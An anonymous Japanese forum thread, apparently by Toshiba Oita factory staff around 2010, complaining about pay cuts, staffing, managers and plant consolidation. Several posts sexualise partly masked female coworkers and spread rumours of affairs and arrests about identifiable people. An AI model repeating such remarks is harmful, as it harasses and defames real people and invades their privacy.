連投すまん。○らたに君、残業して、へんなメール打ってくるな。
しごとの一部でやってるなら、許すけど。あなたは、
それしかやってないもんね。

>>201
乙。教えてあげたいけど、無理。すまん。

まあ話題的には何処にでもありそうだからな・・・

最近は裁量制から外れた馬鹿どもが色々言ってるようだな。
裁量制から外れたのはそいつらの努力が足りんからだ。

まあ単純に経費統制の一環だけどさ。

株儲かってますか〜

ダメー！

憂鬱

もう嫌や

http://science6.2ch.net/test/read.cgi/infosys/1256020446/801-900

裁量制から外された挙句、現場応援に駆り出される。
裁量手当は出ないけど交替勤務+残業でウハウハか？

求人な〜い〜？

しかしながら12ｾは時間外規制が・・・・、現場は10hr。

人件費の削減するなら限定した仕事しか出来ない派遣と外部からのﾒﾝﾃ要員を
切るべし、PCで数字しか見てない事務所の方々は本当に派遣が必要と思ってるのかね？。

今回裁量外された人が結構出た
基準は何なん？
主務とか関係ないみたいだな

>>213
PCしか見ていない事務所の人を現場に戻して解決！

ＴＳＳＣ、無くなるんだって？！賛成だけど。

今日の合同新聞で有期の募集してるね。人手不足なのね。

>>217
人手不足は無いと思う、人の使い方が下手なだけ逆に人は余ってるんだけど。

各課の喫煙室を閉鎖すればサボりは減るし、C菌事務所内での勤務中のコーヒーを
やめさせれば作業がはかどると思う。

>>216
部外者ばかりだから、最新情報には、
反応ないね！

プレシジョンから北連中はどうなるんだ？全員回顧か？

>>217
使い捨てする会社が　有期を募集してはいけません。

応募してくるヤツは　余程の情弱ｗ

TSSCなくなるんだ？イケメンのかわ〇君は大丈夫かなぁそれより日本エ〇ムのやしら使えねぇから追い出して下さい禿げイラネ

今から夜勤

だりいやぁ年寄りきぱーも
うぜぇしよ

クセェんだよ

鳥飯うぜぇしよ

休んでオナヌーかまそう

会社やめたいわぁ

>>205
どこの○長さんですか？。裁量性は各課で割り当て決まってるでしょうが。
まともに仕事の評価してんのかよ？。よく言うわ。わざわざ２ｃｈで
圧力かけんな。人には表現の自由あんだよ。
こんな上から目線で書きそうなバ○長、どこの人かは察しがつくけどな。
はやく巣に帰れよ。

>>225
裁量性ってお馬鹿？裁量制だろうが？

馬鹿が馬鹿となじりあってもどうにもならんわ(笑

裁量制って各課何人くらいおる？

見直しがあって外された人がかなりショック受けてたけど。

裁量制って確か割り当て3割だったみたいだけど。
外された人はそりゃショックでしょう。手当出ないわ残業原則ゼロになるし、成果加算も
付かないからねえ。ボーナス全額カットに匹敵する賃下げになりますんで。

下がった分は年末調整での戻りが増える事を期待するのみか.........

はぁ〜、もうちっと給料あがらんかなー。

>>226
細かいところ、突っ込むなよ。ここは2ch。

最近、どこかの部長会社来てないの？。
プレッシャーかな？。それとも○部のスレンダー女との不倫ばれたから？。

爺でばいすの部長待遇の人が酒気帯びで検挙されたらしい
宮若の方だけど

元北苦のかっちょーんって
いくら酒好きでも周りに迷惑かけるなよ

まわりの迷惑もだけど、責任はどうやってとるのかなー。

どこぞの社チョーさんみたいにドゲーザとかしないの、するの？。

>>234
過去の事例からすれば潮解蚕

>>233
それはＨ．Ｈさんの事でつか？

今日はエロイ人が巡視に来た模様(ウ※※様)。
潔くカッコよく、志高いひとだったのかしらん。やっぱし。

(ずーに製)の惨状とオレのカレー臭を革命してくれい！

お

>>232
乙。それほんま？。前向きにっていわれるばい。

正社員になると給料いくらもらえるの？

>>240
オマエの働き次第だ。

>>241
働きたいといえば働けるほど残業できるんですか？
だいたいどれぐらいもらえるんでしょうか

>>240
乙。シーキンor交代どっちのことかわからんけど。
シーキンだったら学歴で差がでるし、配属場所で評価も違うから。
交代勤務でも場所によって、臨出あるから違うかと。

別件だが今日会社にいく途中、コンビニよったらマンガ立ち読みしてる
出勤前のシーキンのバカいたorz。。。。まあ自由なんだけどさ。
もう会社辞めろよ。

>>232
それ相手は技○部の○○○の人か・・・。結婚してるかと
思ったらまだしてないところみると不倫でもしてんだろな。

(ずーに製)のシー○ンにいる、女性の高○さんは意外とえろい体してますね。
また、工○さんもかわいいです。
両方、既婚？

今年(も)連休はナシですか。

世の中には365連休の人がいっぱいいるのにありがたく思えよ。

ひたすら、連休はナシですよ。毎期毎期、(絵酢自)事業存続って、
言う名目で無理難題なノルマ課せられて、奴隷は働かないと
いけないんですから。
もう、奴隷も給料は残業ゼロ、ボーナスは減らされ、延期され何を
目標に働けばいいのか、見失ってます。

カメラのキタムラ大分萩原は壊れたカメラを高く買い新品デジカメ安売りするな！！！


不要になったカメラを高く買うな！！！！！


高品質プリント格安販売するな！！！！


証明写真が上手すぎだ！


駐車場が広すぎだ！！バス亭がノリゴエ

カメラのキタムラ大分萩原は壊れたカメラを高く買い新品デジカメ安売りするな！！！


不要になったカメラを高く買うな！！！！！


高品質プリント格安販売するな！！！！


証明写真が上手すぎだ！


駐車場が広すぎだ！！バス亭がノリゴエ

現場応援に行った人たち、元気かなぁ
きっついだろうなぁ

事業存続？設備投資しないんだから、先細り必至！
時間の問題だわな！！

募集してた有期はどーこに配属されるん。
12はねーよな、ヒマヒマだし。

有期を募集してるけど期間は２〜３ヶ月の契約で延長があるかも・・・って条件らしい。

募集担当者いわく「派遣は近い内に居なくなる」だって、北九からの移民本体が来るんだから
有期は要らないと思うんだけど。

移民が来るのは来年だからまだ先だね

っていうか今も主務の人が応援に来てるけどなんか様子がおかしい
北苦っぽいけど違ってたらすいません

年寄りプロパより若い派遣の方が使いやすくない？

今期中に12ｾへ大量移籍があるらしい、下期は4直3交代になるのは確実。

爺でばいすの酒気帯び部長、噂になってるけど、
娘さんが留学先で事件に巻き込まれたって。

かわいそうに今は家に籠もってるらしい。
表沙汰にならないけど多いね。

でも留学なんて上位校じゃないと就活にもキャリア
にも役立たんように思える。

製造課応援行ったけど、あれこそ正に奴隷労働と言うに相応しいね。

辞めたくなる奴の気持ちもわからんでもない。

>>256
四のＹ−５の絡みだわ！

(ずーに製)のシー○ンにいる、女性の高○さんは意外とえろい体してますね。
また、工○さんもかわいいです。
両方、既婚？

>>254
現場には既に派遣は居ませんが何か？

>>260
二人共、既婚ですが何か？

>>260
がんばれ。○術部にいる高○は未婚。

>>254
TSSC＆鈴木

>>263
Ｏ術部に居るＯ橋さん？

>>265
そう、美人。ガンガレ

Ｏ術部ってどこ？

>>262
二人共、既婚で子持ちなんですね。
まわりはおばさんばかりだから、可愛く見えるだけなのかもしれないが。

「ＬＡＴ」事務所は巨乳が多いな！

巨乳が多いって、若くてかわいいの？
おばさんしかいないのでは。

(ずーに製)のシー○ンにいる、女性、高○さんは巨乳

>>271
乙。以外とね！

とっととタバコ税上げちまえ
一服ばっかで仕事してないヤツ大杉

>>273
禿げしく同意、自販機撤去して全面禁煙にしてしまえ。

(ずーに製)女性、高○さんは巨乳、触らせてやらせてくれないかな

１０月からセブンスター１箱４４０円

これでタバコ止める人増えるだろう

裁量外せば今からでも止めるんじゃね？

タバコ吸う人減るのは、大歓迎。
しかし、ほんと、ぽっぽ山政権は八方美人で、値上げしかしてないですね

>>257
どんな事件に合ったの？

>>275
はしのえみっぽいエＯさが有るね！
連休中にオＯＯするのかな？！

乙。今日から連休。タバコ税あげても一緒だと思うけどね。
俺タバコやめたからどうでもいいが、タバコ＝ニコチン依存症。
有害だからって！。思いきって作る＆売るのやめろよ。
マリファナとか依存にはならんから、タバコの方がタチ悪いんだよ。
ってか、ここ東芝大分工場のスレだから。

おーい！バカボンのお父さんに似てる人、金持ってんだろ？。
休みの度に、いちいち出張作って工場くんなよ。
態度だけはでかいが、人間の器はかなり小さい（極細）。
アリんこ？いや、蚊レベルだろ。

>>267
おまえ。技○部の場所もしらんのか？。
仕事終わったら散策しろ。見つけられなかったら警備にきけ。

(ずーに製)女性、高○さんは巨乳、工○さんの二人は誰かと羽目×2してるのかな。
あの事務所で女性と見れるのかな。あとは女性とはいえない。。。

>>281
技○部の場所って、270棟-2Fってわかってる。

TD○○の荻○さん、結婚して子供も３人いるみたいだけど。
ちょーエロイ体してるよ。あの人の旦那はマジうらやましい。
そりゃ３人も出来るわ。

単身プラス製造応援はきつい。

心が折れそう。

楽になっちゃえyo！( ﾟ∀ﾟ)ｱﾊﾊ八八ﾉヽﾉヽﾉヽﾉ ＼ / ＼/ ＼

折れてしまうもいいじゃない。上の人は兵隊の辛さが分からないから。

ありがとう
ほんと楽になりたい。

年下上司に仕えるオヤジは惨め......

年上の部下をもつのも苦労するぞ。

１５０棟の喫煙リフレでよく見掛ける爆乳＆巨尻は誰？
時間帯によると、２Ｓの様だが・・・？

爆乳＆巨尻って横に広いだけ？？
いけてるの？

製造応援中

やっぱC勤は楽だ

ぼ〜とタバコ吸っても何も言われんし

太り気味だから足にくる、痩せないかん

(ずーに製)女性、高○さんは巨乳、工○さんと、やれないないかな？
既婚者でもきにしない。っていうか、やってる人がいたりして。。。

連休終わりー、って
ヒマをつぶすための場所が、家から会社に移る訳だが。

連休っていっても、現場(製造)から電話がなるばかりなんで、
連休に感じないだけど(:_;)

大分カレンダー上では、明日から出勤ですね。

今から大分戻ります

北苦組で下りが渋滞するかも

どこがエコなんか、ムダばかりやんか

そんなに帰宅組で込まないでしょ。

昨日別府手前で事故があってたな

帰宅組の誰かかもしれん

事故報告ない？

大痛を黒字化させるんだったらやはり50代の爺どもを爺デバイスに送り
付けるしかねえな。

あいつら何もやんないもん。

ジイデバイス？？？？？？？？？？

今度北苦から来るのは50代ばかりだ
女を止めた婆が多い

何もせんやつが増える

赤字拡大必死やな

今月末まで工場研修でお邪魔します

(重にせい)の学卒の研修生の女の子はかわいいですか？

>>304
会社は働く場所です。

GHは馬鹿連中の塊です。あんな名前さっさと辞めろよ。
そもそも管理職が400名オーバーなんて工場にはいらんだろうが。

その前に大痛っていつ売られるの？

団塊世代、バブル入社がうじゃうじゃいるから管理職が増えてるでしょ。
使えない人達で、田舎の工場に集められてる。
３自とか、やたらといるし、種無なんか、さらに増殖してるし、兵隊が
少ないからしわ寄せで兵隊はへとへと。。。

ホント、仕事しない、居眠りこいてるヤツとか
どーすんだろ。

>>300
そう思う！

大分も後工程の管理をするようになったんだから
爺Dから知識あるやつ４０以下を連れてくればイイ

年寄りを出して若いのを入れる．．．

(ずーに製)女性、高○さんは巨乳、工○さんと、やれないないかな？
既婚者でもきにしない。っていうか、やってる人がいたりして。。。

>>310
会社は働く場所です。

裁量外され製造応援中

こんなとこなら北苦で三交代すれば良かったわ
電球作りに戻るんで.....
お世話になりました

>>311
そんなことぐらいを考えないと兵隊はやっていけませんので。
(ずーに製)女性、高○さんは巨乳、工○さんと、やれないないかな？
既婚者でもきにしない。っていうか、やってる人がいたりして。。。

>>313
会社は労働の対価として給料を貰うところです。
余計なことは考えなくていいから、真面目に働いてください。

真面目に働いても、たいして給料くれないくせに
働けとかふざけんな。

給料はお前が稼ぎ出すもんじゃ
他人のせいにすんな

少ない人員と給料で、フル生産のくせにもうからないってのは現場の責任じゃねえだろ！
上のもんの責任じゃね？なんでも下のもんのせいにすんなよな
なにかあったとき責任とる為に無駄に高けえ給料もらってんだろ？
みんな我慢の限界ちけえぞ！

furuseisan de moukaranai = bijinesu tosite owatteru

終身雇用の悪い面ばかり目立つからな

40,50代の給料見たらびっくりするぞ
成果に見合ってないだろみたいな

ここだけの話じゃないけど

上のもんのは勘違いしてる。自分達が仕事できて成果出してるから給料多く
もらえて当然だと思ってるんじゃない？　でも、それは勘違い。
役職もつかない担当が、我慢して我慢してLot流品、装置メンテしているのに、
まだ、赤字だから今は耐えるしかないって毎期毎期変わらない。

ほんとに、我慢の限界がちかい。
役職者達は、MailでTELで口で復旧を早くしろっていうだけ。
それで、責任取らず、給料はしっかりと多く取ってる。
ほんと、受注はあってフル生産にもかかわらず、利益でないって上のやり方が
おかしい。業務効率化っていうけど、リソースが足りません。
上の人達の人員配置の能力不足。

313みたいなバカのせいで、真面目に働いていないと思われる

生涯成果額でトータル数十〜数百億の利益になるくらい働いてたら、
生涯トータルで数億円もらってもバチはあたらん。
会社には利益になるし、従業員は生涯賃金を分割払いで貰ってると思えばよい。

成果も出さずに給料を貰おうと思うのは間違い。
会議だけ出て、文句だけ言って、本当に何かを良くしてるわけでもない奴は
いつかリストラされる。分かっているのかいないのか。

ただし、メンテだけで高給がもらえると勘違いしている奴は、
決断や立案や創出を行う立場に自分が置かれたときに
例えば役職者が決断している以上に決断できると、本当に言えるのだろうか。

自分は出来ると勘違いしてる課長がいた。足元も見らずに出張行き放題。
最後は総務や上司の部長に嫌われ、タカッた業者に告発されGデバイスに行ったが。

今日も技術部、製造部ともにストレスたまりまくり

早く早期退職制度発動してくんねえかなあ。

早期退職しても会社の思うままやぞ。
目指すものがあればいいが。
前回辞めた人たちはみんな失敗してる。

早期退職して退職金でタイに行って手術したい

北苦の製造課の技術係>>大痛の技術部

北苦の製造課の技術係>>大痛の技術部>>>>>>>>>>>>>元北苦の技術部

北苦の製造課の技術係>>爺デバイス>>大痛の技術部

>>328
>>330

朝から暇だな、友達いないのか？

技術係の得意技を技術係が得意でも、そりゃそうだとしか言いようがない。
指定された条件のレシピ作りだの再起動だの装置の扱いが得意だからと言って、
装置選定やら装置のパラメータの決定に携われるか、何が最適か、
技術係には分かりようがない。まぁ抜かされるまでいきがっていればよい。

覆いたの技術部が優秀かと言われるとそうでもないけど。

来月から北苦の方が大痛に進軍してきまつ。
大痛のエロい人はイノショーベン推進しまつ。

本当に大丈夫なのか？

先陣切った技術部の人はかなり苦労してるみたいだけど。
製造の人間がうまくやっていけるか心配。
暗雲立ち込める北苦Sジです。

>>334
心配すんな　いつ追い込みかけられても良いように体だけは鍛えとけよ

むかし4セにいたワキガの雨○まだ大分にいんのかなー。
30メートル離れてても臭ってたからなー。

裁量なくなった分、ボーナスに還元してくれるらしい
約束してくれたじゃん

大企業の夏ボーナス、２年ぶり増　平均７９万４６８円

ここはもう大企業じゃないんか
この半分やんか

嫌なら辞めろよw
誰も困らねぇ〜よw

TS○Cへの天下りする役職者仕事してねーよ。
あの会社、事業仕分けしちくりぃ。

棟間通路の工程、あの人数でよく持たせてんな
うちの工程ときたら・・・

TS○Cいい会社だ。
天下りを間近に見ることができる。
仕事してもらったら頼んだ方が困ると思う、きっと。

TSS○は主務クラス以上だと異動しても左団扇で遊んでられる。
担当レベルだとこき使われる。

ある意味本当の天下りの構造を実感出来る。

北からDMとCFが移ってくるね、６背に集中配備だって。

工場内にDMとCFが多すぎだぞ、実力のないDMやCFは淘汰すれば良いのに。

役職手当が削減できるぞ。

どうも一ペレが北苦系で三ペレが大痛系になるみたいな感じだな。
来月以降は北苦移民の受け入れラッシュになるのか？

降格人事を。
東芝はまじめに考えるべきだと思う。
仕事が出来ない、実力の無い役職者が多すぎる。
上司と仲が良いだけ、口がうまいだけで昇進した人が多すぎると思う。

同意
昇進試験くらいは行って欲しい
最低限の知識すら持たない役職者が多く、
一緒に考えることなく丸投げしてくる

昇進試験よりも定期的に適正試験でもやってほしい。

ぞの座にあぐらをかいてるCFやDMが多過ぎ、国家検定すら持ってないCFが
居るなんて変だろ。

来月から１Pの部長は北の出身者、派閥争い勃発か。

どっちでもいいが　６背のボロマシンをせっせと動かせよ

おっと、ダストは改竄するなよ　(*´艸`)

３屁レは大所帯の組織になってしまうんですね。
大きすぎると、纏まるものも纏まらなくなってしまいますね。

余剰でない人員はどれくらいいるのかを冷静に考えると

なんで、こんなに作業長、製造長、課長、主務等役職が沢山いるんですか？
逆三角形の組織体系になってますね。

○○議員さん、国の事業仕分けも重要、こちらの役職仕分けをやって
ほしいです。

リストラできないなら降格人事もできん。
外部の経営監査あったら大分はリストラ加速するよ。
若い人材も雇用しない東柴はおかしいね。
まあ大分は倒産してるんだどね。

大分だけリストラなんて不可能
こういうのは経営方針だから
本社が決めることだけどあそこも同じ状況
大分よりも役職者が多い
大船もね

やっぱり自分らの身に降りかかってくるような施策は誰もやらんよ

10年経ってもCFになれないPMも一般OPに戻せよ、後からPMになったのが先にCFに
なったら辛いだろ。

適正が無いって事で一から出直し。

>>354
S痔の開発拠点は半技Cだろ
大船はほとんどMジ

宴会が終わって二次会に業者を電話で呼び出すのやめようや。
変な権力濫用はいかんぞ。

いよいよ来月から1ペレ長も新しくなるしな。最期は今の6セ連中は全部締め出されて
8セ or 長崎 or 四日市送りか??

>>358

こんな　めでたい奴は何処にも逝くところないよな

今日で研修を終えた　みんな　がんがれぇ〜〜〜

販売研修は大痛研修よりしんどいけど、まだお客様扱いだから心配すんな
でも、その後がきっついかんなｗｗｗ

君らのみらいを楽しみしてるよ

おいおい

ここは

いったい

どうなるんだよ

しらない

ここは馬鹿しかいません
○Mなんかサイテー

何でもいいから早く爺デバイスにくれてやった設備搬出しろよ

元気ですか？

6セで現場応援だよ
何じゃここのシステムは？何年前の現場だよ？
時代遅れもええ所だな

早く６セを北苦セにして切り離せよ

６セの連中は８セと長崎送りにします

じゃ、(12セ)にくれよ。人入れ替えないと駄目だよ。

淀んじゃってるよ、おーんなじ環境で。

生産設備(だけ)はそう古くないが。

あ

ほ

引っ越ししたくないけど

定年まで持つかな
それしか考えてない

売店の保○さんが好き

会社に来ない現場監督、何もお咎め無し？？？？？

(1○セ)工○○子さん、○野○香○さんは元気されているかな？
○野○香○さんの○乳は触ってみたい

女を武器にシー金になった女はまだいてるの？

今治から大量の奴隷を投入。
もうちょい入れれば製造応援無くなるんちゃうか？

女を武器にシー金になった女はいてるよ。
女は上の人間から気に入られたらシー金でもなれるじゃない。
まぁ、シー金がいいのかは別だろうけど。

>>378 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 07:44:49 ID:DyN1BBE7
>>381 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 15:45:00 ID:DyN1BBE7

朝からネット三昧か、寂しい奴だな。

うちの会社のエロい人にも、これくらい先見の明があれば・・・。

「こんな事もあろうかと」
http://blog.livedoor.jp/geek/archives/51034300.html

杵築はどうなの？？

杵築は、もう東芝ではないのでお答えできません。

亡茄子早く出ないかなぁー

柳谷工場長は元気ですか？

眠い。
装置のトラブル見るどころじゃない。

工場長は誰がやっても変わらんね

サラリーマンじゃ同じか

でもほんな勝とかにやらせるとロクなことないなあ

もういい加減に派遣雇えよ。
おっさんばかりやって来ても使えんだろうが。

南健Gは何処よ？

また応援者がやらかした
技術部主務ってなんか不器用が多い
太ってるし

>>392
そりゃ現場のお馬鹿と違って思考回路が複雑なんだよ。
現場お馬鹿の働きが悪いから駆り出されるんだろうが。

もうちょっと気合入れて働けよ。

まあ、太いのは多いかも。

思考回路が複雑で精神的に行ってしまった方も多々、思考回路が複雑な方々が居る
課ってどうなのよ。

物もまともに作れない製造
技術がないくせにえらそうにする技術
結局コントロール出来てないラット
オーダーミスも多い

もうこれはだめかもわからんね。

458 ：名無しさん：2010/06/20(日) 11:31:02 ID:BRDJUsKT0
大痛の行く末は？
教えてエロい人。

460 ：次行仕分け：2010/06/20(日) 13:51:54 ID:9RkFdAhJ0
>>458
開発出来そうな人間は全て鮒に集結。
残ったカスな設備は台湾・中国に売却して閉鎖。現場連中はクビ。
残った土地は農地解放して近所の農家に無料開放。

パート39のコピペかい、まあいい。

おれはエロい。かなりエロい！。
国家検定すらもってないけど、すんごくエロい！！。

でも大痛の先んこたあわからん。

>>396
詳しく述べてみろ

日野工場ってどうなるんかなぁ

大分も提携と言いながら他のメーカに飲み込まれてボロボロにされるんやろか

最近は富士通と提携ばかりやなあ。
他の所相手にしてくれんとちゃうやろうか。

まあ大痛みたいな奇人変人の巣窟を相手にしてくれる会社はないよ。

12背って良いよな、年の差場カップルは何をしても無礼講なのか？

休憩場所で二人の世界に入るのはやめてくれ

年の差場カップル誰のこと？
何をされていたの？

福岡先端長、杵築転勤。って誰それ？

はい、乙。夏祭りやります。来年は本体からきられますので○芝としてやるのは
最後です。来年は解散です。遊園地になります。星の王子様からでした。

なにをしても、どころかなにも仕事せずに勤務中寝ててもおっけー。
ずーにぢゃなくって芽背やけど。

不祥事起こした部長が杵築か大分に行きます
転籍扱い
一度解用となってまた採用になるとかわけわからん

>>407
不祥事って？

寝ててもおっけーの召せってだれ？
いい身分だなぁ〜

勤務中に椅子に座って、寝てる奴居るなぁ〜
俺が見た奴とは違うかも知れないが、はっせに居るなぁ

じゅーにに来ればわかる。通路すぐ脇の見え見えでうつらうつら。
ホントようやるワ。

ダイボンドペースト濡れ広がり不良・・・

たいした問題ではない。No problem

うちとこヒマやから手伝い行ったろか？

裁量性外され残業ゼロにしろって言われて、みんな仕事量は変わらないのに
給料減らさせれて大変なのに。なんか一人だけ特別扱いされてるっぽい椰子が
いるな？。仕事も出来ないし、してないのに。orz
まあ民間企業だから仕方ないかもしれんが、これはやりすぎではないの？
まだ確証もってないから確証取れたら進退かんがえて戦うぞ。
どうせ来年は別会社で給料半分なんだから。

どこの誰？。

>>416
いいたいけどいえね〜。ヒント：異常に暑いし、湿度高いところ。

>>417
それでもわかんない

>>418
しょうがね〜な。グランド横だがね。そいつに残業代あげるなら。
○○代くらい安いのに。意味わからん。

プールのある公正等？

>>420
なんでそっちなんだよ、うけたけど（笑い）、反対側。おまえ交代勤務でしょ。

暑くて湿度で･･･って事で(^^ゞ
交代ではなく椎菌ですよ。
爺デバイスの新しい人事って知ってますか？
なんか福岡からくるらしいけど、煙たがられてるみたいです

>>422
爺デバイスの人事なんか情報はいってこんし、興味なし。
このスレたまにｓｏｕｍｕチェックしているらしいから、
内偵調査お願いします。今回のようなあまりに不公平な
待遇はあってはならんだろ。

裁量性どーたらって示威金でしょね。
湿度高いってのが良くわかんないケド品○とかかな。
測定器の較正とかやってるトコ？、高温高湿でテスト評価？。
体育館裏だっけ。

Gデバイスの宮若にタチの悪い参事がおるのは聞いたことある
杵築か大分への異動の話があったが星との確執で流れたらしい
かなりの変人で引き取り手がない
問題が大きすぎて放置できんらしいし

特別扱いされてるのは賓の男か女か。
そんな奴いるのかなぁ。頭文字でも教えて。
内偵調査賛成。

>>425
そいつはひろゆき君の事でつか？

>>426
核心にくるな〜。オトコだよ。まだ確証もってないから、頭文字は
いえん。これから確証とるけど、ほぼ間違いなし。進退かけて闘うよ。
いくら民間でも、これは許されんだろ！。

これから後工程はどんどん海外に出しちゃいます。
言う事聞かない爺デバイスなんぞ潰しちゃいます。

>>429
おまえ、うぜえな。大分も同じ運命だから。荷物まとめとけよ

>>430
爺デバイスの設備早く臼杵の大仏に移動してくんねえかなあ。

>>431
知ったことか！なんで>>430なんだよ。俺の担当外だよ、バカ。

トシはどれくらいなん。
同い年くらいならしっちょるかもしれん。

>>430
大分も同じ…？
潰れるのか？
ｋｗａｓｋ

>>433
40くらい。
>>434
のんきだね〜、大企業だから潰れないとか思ってる人多いだろうけど。
分○化。給料・ボーヌス大幅減になるだろうね。

新、賓、改の三個グループあるけどどこなん。
大体絞れてきたよ。

>>436
難しい例えするな〜（笑）。改。ここまで言ったら、明日から俺やばいな〜、
呼び出しうけて、飛ばされるか。。給料カットか。

ちょい見に行こうかな。明日くらい。
うちのんとどっちが仕事せんじゃろか。

めくそ！はなくそ！の争い勃発！本社の俺には関係ないけど

>>435
自分達が潰れるのを自慢してそんなに楽しいのか？

>>440
自慢してねーだろ。特別処遇受けてる人いるんじゃないって
話してんだよ。そんなことは許せんだろうが、おまえバカか？。

>>441
さすが大痛脳だな。被害者妄想爆裂w
所詮御山の大将の塊の大痛の中で楽しいんだろうなw

>>442
はいはい、回答ご苦労さん、せんずりして寝ろよ。

>>443
大痛従業員乙

>>444
はいはい、童貞君、早く寝なさい。お母さんが心配してるよ。

>>436
新、賓、改って何ですか？教えてください。

信Ｇ 品Ｇ

解には居なかったですね。
でもなぁ。役職ばかりじゃん大痛。
どないすんのかなぁ。社長

間違った。賓やろ。

たちの悪いのはどこにでも居る（うちにも）。
どっか出したいけどなー。

社長と従業員の給与の差って今は.....
いつの間にこんなんなった？
ヒラと課長の差もこれからは開いていくんだろうな

>>450
乙。へたにだすと昇格して帰ってくるんで、慎重にお願いします（笑）ｏｒｚ。
本当！？って思う椰子昇格してたし。
>>451
ヒラの中でもかなりの格差ありますんで。

棒ナス　デター！（少し）

もう製造ラインは全て爺デバイスでええんでないかい。
そうすれば現場応援無くなるし、製造課の連中を全て爺デバイスにすれば
一気にコストダウン。

しかし製造応援はいつまでも続けるのか。
有期三ヶ月募集で来る奴おるわけないやん。
雇うほうも馬鹿だね。派遣きりで有名な大痛は
イメージダウンやから若いのは警戒するべ。

北九州終息は2012年3月
まだ一年以上ある
全員来るかどうかは不明

選挙選挙ってうるせえんだよ

乙。選挙にはいきません。消費税10%されんのにいくかよ。
ハガキきた当日破棄しましたんで（笑）。

大体こんな状態で企業選挙やってるって本当に馬鹿だと思うよ。
こう言う時こそ自主投票だろうが。

そだよね

民衆が増税を容認するなんて歴史上今だけかな
いつの時代も重税には反対してたのに

政権とったらこの変わりようｗ
もし野党のままなら絶対消費税反対したよねｗ
誰がこんな政党入れるかつーのｍ９

増税している政党に入れろって馬鹿か？
組合も専従じゃなくてええんちゃうの。こいつらの人件費が無駄。

増税するくらいなら、子供手当てとか高速無料化とかお金持ちの
医者擁護するような施策するなよ。あんまり考えずに適当に投票した
俺にも責任あるけど○社から言われたら入れるやろ。もう二度と選挙には
いきません。特別待遇？されてるバカはいるしよ。あんなやつに残業代
払うなら○ぼういれろや！。ったくお○に貪欲ですね。よ〜やるわ。

ずーにせアンドめせってまだ収束しねーの？
ヤル気ねー閑人ぞろぞろなんですけど。

ペレ腸変わったんじゃなかったっけ、改革を期待してますが。
ダメでも俺は責めないけどね。

12は改革したよ。

ボールペンはメーカー、形まで指定で全員の教育が終わる前に新たな名称の教育開始、
しかし中身は同じ。

SI-勤事務所は暑いから仕事がはかどらない、DMの方々の打合せはもっぱら喫煙場所で行う。

まーホントなに考えてんだか、どーでもよさげな事やら
しょーもない事に入れ込むよねえ。
やるべきことは色々有るだろうに、なにを見てんだか。

上の方のヒトのMEはふしあななのか。

なんで、また同じ教育を使いまわすだろう。
再テスト受講時には、残業にカウントしないで下さい。って、就業時間中に
タバコ吸ってる時間を就業時間にしないでくださいって、逆にいいたい。

だって他にやる事ないから。
しょーがない。

プロセスコントロールも人もコントロール出来ないのが大痛クオリティ。
所詮大痛県民のチンピラ連中寄せ集めたような工場だしな。

そうね、チンピラですよ。所詮、ＪＤ前工程になるね。こんな不景気なのに
一人特別扱いされてるね。仕事も出来ないのに。soumuチェックしろや。
これはあってはならんよ。

製造?技術?生産?

裁量外されたころから残業しまくってるわあ。

声がでかい、偉そうにする、人の手柄を分捕る奴が偉くなる。
OJTと言いながら実践投入してドジかます。
メンテ代節約と称して自分でメンテやって失敗して大穴空けまくる。

こんなんじゃだめだろう。

面手に専念させる為にメセを作っていながら肝心なMKはPCの前に釘付け、毎日行う面手
はASHなんかの業者任せだから何時までもスキルがあがらない。

そんなんだから業者に使えないと馬鹿にされる。

仕事できないのに役職。判断できない＆責任持てないからって、ヘッド
呼ぶなよ。ヘッドは急がしいんだよ。

>>475 おお、よくわかってんじゃん。

誰だ？今日変なタイトルのメールがバコバコ飛び交っていたが？

>478
どんなタイトルよ？？？

スパムメールか

>>479
○○Viewがなんちゃらやなかったっけ。
Cc:が全従業員宛wおかげであっちこっちで大合唱

三洋の半導体事業売却が出てたな。
そろそろウチらの番かな。

三洋みたいになったら終わり
さらに解体されボロボロになる

45歳以上の社員はいらないってさ

後工程は爺デバイスへ
前工程は海外へ
そうして大痛は破滅へ

来月はDMの転籍が多々発生する、居ても役職場環境が悪くなるだけだから
減らす事を考えてくれ

そなの？バンザーイ！

なんであんなんが惨事になる？
ほんなのお気に入りというだけやんか

市教委が別商高教諭を懲戒免職

　別府市教委は20日、４月に無免許運転で別府署に検挙された市立別府商業高校の
安藤清丈教諭（51）を同日付で懲戒免職処分にした、と発表した。
　発表によると、安藤教諭は４月29日夜、別府市内の国道10号で自家用車を運転中、
後部ライトの整備不良で警官に停止を求められ、無免許運転が発覚した。
免許は平成13年８月に失効したが、検挙されるまでの９年間、無免許運転を続けていた。
失効当時は県教委体育保健課に勤務していた。

　別商高には平成15年４月に赴任し、自家用車で通勤。平成16年度から
男子テニス部の顧問を務め、対外試合などでは生徒を乗せてマイクロバスを運転していた。
その回数は、１６１回にのぼるという。
　同教諭のほか、管理監督に適正を欠いたとして、校長を減給処分（10分の１、１カ月）、
教頭と教育長を戒告処分、学校事務長２人（現、前）と教育次長兼総務課長を訓告処分とした。
　別府市教委は４月30日、「無免許運転で検挙」の事実を公表した際、教諭の氏名を伏せたが、
今回は懲戒免職処分の場合は氏名を公表するという別府市の指針（昨年９月制定）に沿って
公表した。また、県教委の処分基準に準じて最終決定したという。

　記者発表では、高橋護教育委員長が「教育公務員としての信用を失墜し、生徒及び保護者、
市民の信頼を損なったため、懲戒免職という厳罰に処した。あらゆる事情を考慮しても、
なお教育公務員の地位に留めておくことはできないと判断した。
生徒・保護者、市民の皆様に心からおわびします。二度とこのような不祥事が起こらないよう、
綱紀粛正を図り、信頼回復に努めたい」と陳謝。
　寺岡悌二教育長も「大変申しわけない。本人も深く反省している。断腸の思いで処分した」
と頭を下げた。

大痛工場特産、お気に入りジンジ。

>>489
仮にお気に入り人事でもお前よりも優れているのは明白だな。

そのお気に入りは何を求められてるのかを考えることができた。
その点、お前はここでぼやくだけしかできない君。

ましてや身銭を使うなんかはできっこねぇ

>>489
正しくはお友達人事。偉い人と同郷とか同級生だと効果大。
まさに田舎の村社会。

だからどうなの？？？

そんでこんなダメダメなのか。耳心くらい知っとけよ。
馴れ合い会社の馴れ合い部署ならならどーせすぐ終息だろう。

まあ生活に困窮しだしたら、俺も県産品のしいたけでも持ってくかな。
そしたらオレのをすぐ気に入ってお仲間にしてくれるだろう、ケケ。

>>493
お前は季節の挨拶で贈り物を送ればお仲間に入れてもらえるとでも？？？
そんなら送ってみるがいいよ　どうせそれすらできない君なんだから

